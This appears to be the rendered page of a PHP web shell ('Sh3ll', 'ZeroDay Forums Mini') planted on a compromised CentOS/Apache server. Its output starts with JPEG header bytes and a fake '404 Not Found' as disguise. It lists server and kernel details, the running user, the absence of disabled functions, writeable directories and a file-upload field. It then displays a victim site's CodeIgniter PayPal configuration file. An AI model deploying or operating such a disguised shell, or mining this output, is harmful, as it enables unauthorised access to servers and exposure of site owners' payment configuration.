ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/adimi/application/config/paypallib_config.php
<?php  if (!defined('BASEPATH')) exit('No direct script access allowed');

// -------------------------------------------------------------
// Paypal IPN Class
//--------------------------------------------------------------

// PayPal Data
$ci =& get_instance();
$paypal = $ci->db->select('paypal_email, currency,status, is_live')
    ->from('payment_gateway')
    ->where('used_id',5)
    ->get()
    ->row();  

$sandbox = "";

if ($paypal) {
	if ($paypal->is_live == 1) {
		$sandbox = FALSE;
	}else{
		$sandbox = TRUE;
	}
}



// Use PayPal on Sandbox or Live
$config['sandbox'] = $sandbox; // FALSE for live environment

// PayPal Business Email ID
$config['business'] = (!empty($paypal->paypal_email)?$paypal->paypal_email:'fleet_business@example.com');

// What is the default currency?
$config['paypal_lib_currency_code'] = (!empty($paypal->currency)?$paypal->currency:'USD');

// If (and where) to log ipn to file
$config['paypal_lib_ipn_log_file'] = BASEPATH . 'logs/paypal_ipn.log';
$config['paypal_lib_ipn_log'] = TRUE;

// Where are the buttons located at 
$config['paypal_lib_button_path'] = 'buttons';

ZeroDay Forums Mini